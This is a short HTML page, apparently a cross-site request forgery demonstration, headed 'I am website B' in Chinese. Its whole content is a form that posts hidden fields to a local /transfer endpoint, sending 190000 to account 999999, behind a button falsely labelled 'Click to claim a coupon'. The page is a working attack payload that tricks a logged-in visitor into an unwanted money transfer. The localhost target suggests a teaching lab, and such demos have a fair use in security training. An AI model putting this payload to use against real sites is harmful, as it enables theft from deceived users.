<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>

<h1 style="background: red">我是网站B</h1>

<form method="post" action="http://127.0.0.1:9000/transfer">
    <input type="hidden" name="to_account" value="999999">
    <input type="hidden" name="money" value="190000">
    <input type="submit" value="点击领取优惠券">
</form>

</body>
</html>